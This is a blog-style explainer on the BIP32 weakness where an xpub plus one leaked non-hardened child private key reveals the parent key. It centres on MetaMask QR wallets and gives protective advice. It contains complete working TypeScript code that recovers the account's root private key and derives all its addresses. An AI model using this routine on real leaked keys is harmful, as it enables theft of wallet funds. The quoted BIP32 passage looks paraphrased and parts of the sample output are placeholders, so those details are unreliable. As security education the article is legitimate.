Why One Leaked Private Key Compromises Your Entire Wallet

Oct 29, 2025

TL;DR: If you leak a single child private key from a non-hardened derivation path, an attacker who has your xpub can recover the parent private key and control ALL addresses derived from that xpub (e.g., all addresses in your MetaMask QR wallet account).

The Problem

Many hardware wallets, including MetaMask's QR-based hardware wallet, expose the account's xpub (extended public key) to enable address generation without exposing private keys. This is by design and normally safe.

However, if you accidentally leak just ONE child private key from that account, the entire account is compromised.

Real-World Attack Scenario

Consider a typical Ethereum wallet using the derivation path m/44'/60'/0':

m/44'/60'/0'               <- xpub exposed (MetaMask QR wallet)
    └── 0/                 <- change index (external chain)
         └── 0             <- Address 0: m/44'/60'/0'/0/0
         └── 1             <- Address 1: m/44'/60'/0'/0/1
         └── 2             <- Address 2: m/44'/60'/0'/0/2
         ...

What the attacker knows:

  • Your xpub (publicly exposed by MetaMask QR wallet)
  • ONE child private key (e.g., you accidentally pasted it in a chat, compromised computer, etc.)

What the attacker can do:

  • Reverse the BIP32 derivation to recover the parent private key at m/44'/60'/0'
  • Generate ALL private keys for all non-hardened descendants (addresses m/44'/60'/0'/0/0, m/44'/60'/0'/0/1, etc.)
  • Steal ALL funds from this entire account branch

How the Attack Works

The Simple Explanation

Think of it like this:

  1. Normal derivation (creating a child key):

    Child Key = Parent Key + Random Offset
    
  2. The vulnerability (recovering parent key):

    Parent Key = Child Key - Random Offset
    

The problem? In non-hardened derivation, that "Random Offset" is calculated from public information (the parent's public key and chain code, both in the xpub). So if an attacker has:

  • ✅ Your xpub (public information)
  • ✅ ONE child private key (from a leak)

They can:

  1. Calculate the "Random Offset" from the xpub
  2. Subtract it from the child key
  3. Recover your parent private key

The Technical Details

According to BIP32 specification, the Child Key Derivation (CKD) function for non-hardened paths works as:

child_private_key = (parse256(IL) + parent_private_key) mod n

Where:

  • IL = left 256 bits of HMAC-SHA512(chaincode, parent_public_key || index)
  • n = secp256k1 curve order (a very large prime number)

This can be algebraically reversed:

parent_private_key = (child_private_key - parse256(IL)) mod n

The critical weakness: IL is computed from the parent public key, which is in the xpub. An attacker can recalculate IL and reverse the derivation.

The BIP32 spec explicitly warns about this in the "Security" section: "In case of non-hardened derivation, the parent extended public key is known to the attacker. This allows an attacker to derive all descendant public keys... If an attacker has access to the parent extended public key and a single child private key, they can recover the parent private key."

Complete Working Example

Here's a minimal, self-contained implementation:

import * as bip32 from 'bip32';
import * as crypto from 'crypto';
import * as ecc from 'tiny-secp256k1';
import { toBytes, toHex } from 'viem';
import { ethers } from 'ethers';

const BIP32Factory = require('bip32').default;
const bip32Instance = BIP32Factory(ecc);

/**
 * Recover parent private key from xpub and child private key
 * WARNING: For educational purposes only!
 */
function recoverParentPrivateKey(
  xpub: string,
  childPrivateKey: Buffer | string,
  childIndex: number
): Buffer {
  if (childIndex >= 0x80000000) {
    throw new Error('Only works for non-hardened derivation (index < 2^31)');
  }

  const parentNode = bip32Instance.fromBase58(xpub);
  const parentPublicKey = parentNode.publicKey;
  const parentChainCode = parentNode.chainCode;

  const childPrivKey = Buffer.isBuffer(childPrivateKey)
    ? childPrivateKey
    : Buffer.from(childPrivateKey, 'hex');

  // Calculate HMAC-SHA512
  const data = Buffer.allocUnsafe(37);
  Buffer.from(parentPublicKey).copy(data, 0);
  data.writeUInt32BE(childIndex, 33);

  const I = crypto.createHmac('sha512', parentChainCode).update(data).digest();
  const IL = I.slice(0, 32);

  // Reverse derivation: parent_priv = (child_priv - IL) mod n
  const childPrivKeyBigInt = BigInt('0x' + childPrivKey.toString('hex'));
  const ILBigInt = BigInt('0x' + IL.toString('hex'));
  const n = BigInt('0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141');

  let parentPrivKeyBigInt = (childPrivKeyBigInt - ILBigInt) % n;
  if (parentPrivKeyBigInt < 0n) {
    parentPrivKeyBigInt = parentPrivKeyBigInt + n;
  }

  const parentPrivKeyHex = parentPrivKeyBigInt.toString(16).padStart(64, '0');
  return Buffer.from(parentPrivKeyHex, 'hex');
}

/**
 * Demonstrate the attack with real data
 */
function demonstrateAttack() {
  console.log('Attack Demonstration');
  console.log('='.repeat(60));

  // Known information (attacker has this)
  const xpub = 'xpub6CXP6MndHNJqmrULeZgJaNoCTZ73Pr9TfzdFZoHXPjQWN2xwwgCzkoasfmQBBG9DwwFab2dJTQ1tuwEp8pX5JEgwqmuJZqBQ1WCyDPQZC8k';
  const childAddress = '0xd9c79Cc5C3DE9858E8767BB702DB5FfE51a20432';
  const childPrivateKey = '0xce35c35e6abfc9ecbb379d31fe21567fc51281cdbd452a10c728598787aeeee9';

  console.log('\nAttacker knows:');
  console.log(`  xpub (m/44'/60'/0'): ${xpub.slice(0, 30)}...`);
  console.log(`  Child address: ${childAddress}`);
  console.log(`  Child private key: ${childPrivateKey.slice(0, 20)}...`);

  // Step 1: Recover m/44'/60'/0'/0 private key from m/44'/60'/0'/0/0
  console.log('\nStep 1: Recover parent at m/44\'/60\'/0\'/0');
  const xpubNode = bip32Instance.fromBase58(xpub);
  const xpub_0 = xpubNode.derive(0).neutered().toBase58();

  const recoveredPriv_0 = recoverParentPrivateKey(
    xpub_0,
    Buffer.from(toBytes(childPrivateKey)),
    0
  );
  console.log(`  Recovered: ${toHex(recoveredPriv_0).slice(0, 20)}...`);

  // Step 2: Recover m/44'/60'/0' private key (root of this account)
  console.log('\nStep 2: Recover root private key at m/44\'/60\'/0\'');
  const rootPrivateKey = recoverParentPrivateKey(xpub, recoveredPriv_0, 0);
  console.log(`  Recovered: ${toHex(rootPrivateKey).slice(0, 20)}...`);

  // Verify: Derive original address from recovered root key
  console.log('\nVerification: Derive original address from recovered key');
  const recoveredRoot = bip32Instance.fromPrivateKey(
    rootPrivateKey,
    xpubNode.chainCode
  );

  const child_0_0 = recoveredRoot.derivePath('0/0');
  const derivedAddress = ethers.computeAddress(toHex(child_0_0.publicKey));

  console.log(`  Original: ${childAddress.toLowerCase()}`);
  console.log(`  Derived:  ${derivedAddress.toLowerCase()}`);
  console.log(`  Match: ${childAddress.toLowerCase() === derivedAddress.toLowerCase() ? 'YES' : 'NO'}`);

  // Show attacker can now control all addresses
  console.log('\nAttacker now controls ALL addresses in this account:');
  console.log('='.repeat(60));

  for (let i = 0; i < 5; i++) {
    const childNode = recoveredRoot.derivePath(`0/${i}`);
    const addr = ethers.computeAddress(toHex(childNode.publicKey));
    console.log(`  Address ${i}: ${addr}`);
  }

  console.log('\n' + '='.repeat(60));
  console.log('CRITICAL: One leaked private key = All addresses compromised!');
  console.log('='.repeat(60));
}

// Run the demonstration
demonstrateAttack();

Why MetaMask QR Wallets Are Vulnerable

MetaMask's QR-based hardware wallet works by:

  1. Hardware wallet shares xpub with MetaMask extension
  2. Extension generates addresses without hardware device
  3. Transactions require hardware device signature

This is secure by design... until you leak a private key.

Dangerous scenarios:

  • Exporting a private key "just once" for temporary use
  • Using the private key on a compromised computer
  • Accidentally pasting it in a chat or screenshot
  • Any situation where the private key leaves the hardware device

Result: If the xpub is known (which it is, by MetaMask) and you leak ONE child private key, the entire account falls.

Output Example

When you run the code above, you'll see output like this:

Attack Demonstration
============================================================

Attacker knows:
  xpub (m/44'/60'/0'): xpub6CXP6MndHNJqmrULeZgJaNoCT...
  Child address: 0xd9c79Cc5C3DE9858E8767BB702DB5FfE51a20432
  Child private key: 0xce35c35e6abfc9ecb...

Step 1: Recover parent at m/44'/60'/0'/0
  Recovered: 0x06b782104daf0df4...

Step 2: Recover root private key at m/44'/60'/0'
  Recovered: 0x2f9e5c8a3b1d7e4f...

Verification: Derive original address from recovered key
  Original: 0xd9c79cc5c3de9858e8767bb702db5ffe51a20432
  Derived:  0xd9c79cc5c3de9858e8767bb702db5ffe51a20432
  Match: YES

Attacker now controls ALL addresses in this account:
============================================================
  Address 0: 0xd9c79Cc5C3DE9858E8767BB702DB5FfE51a20432
  Address 1: [derived from recovered key]
  Address 2: [derived from recovered key]
  Address 3: [derived from recovered key]
  Address 4: [derived from recovered key]

============================================================
CRITICAL: One leaked private key = All addresses compromised!
============================================================

How to Protect Yourself

1. Never Export Private Keys

Once a private key leaves the hardware wallet, it's no longer secure. If you need a hot wallet, use a completely separate seed.

2. Understand Hardened vs Non-Hardened Paths

m/44'/60'/0'      <- All hardened (safe, requires parent private key)
m/44'/60'/0'/0    <- Last level non-hardened (vulnerable!)
m/44'/60'/0'/0/0  <- Last two levels non-hardened (vulnerable!)

Any level without ' is non-hardened and creates this vulnerability. The last two levels (/0/0) use non-hardened derivation so xpub can generate addresses—this is the security tradeoff.

3. Treat xpub as Sensitive

While xpub doesn't contain private keys, it becomes dangerous if any child private key leaks. Don't share it publicly.

4. Use Separate Accounts

  • Hardware wallet: High security, never export keys
  • Hot wallet: Separate seed entirely, lower amounts

Conclusion

This vulnerability is not a bug—it's a fundamental tradeoff in BIP32's design. Non-hardened derivation enables convenient features (address generation from xpub) but creates this attack vector.

Hardware wallets like MetaMask QR are secure IF AND ONLY IF private keys never leave the device.

Remember: xpub + 1 leaked child key = Complete compromise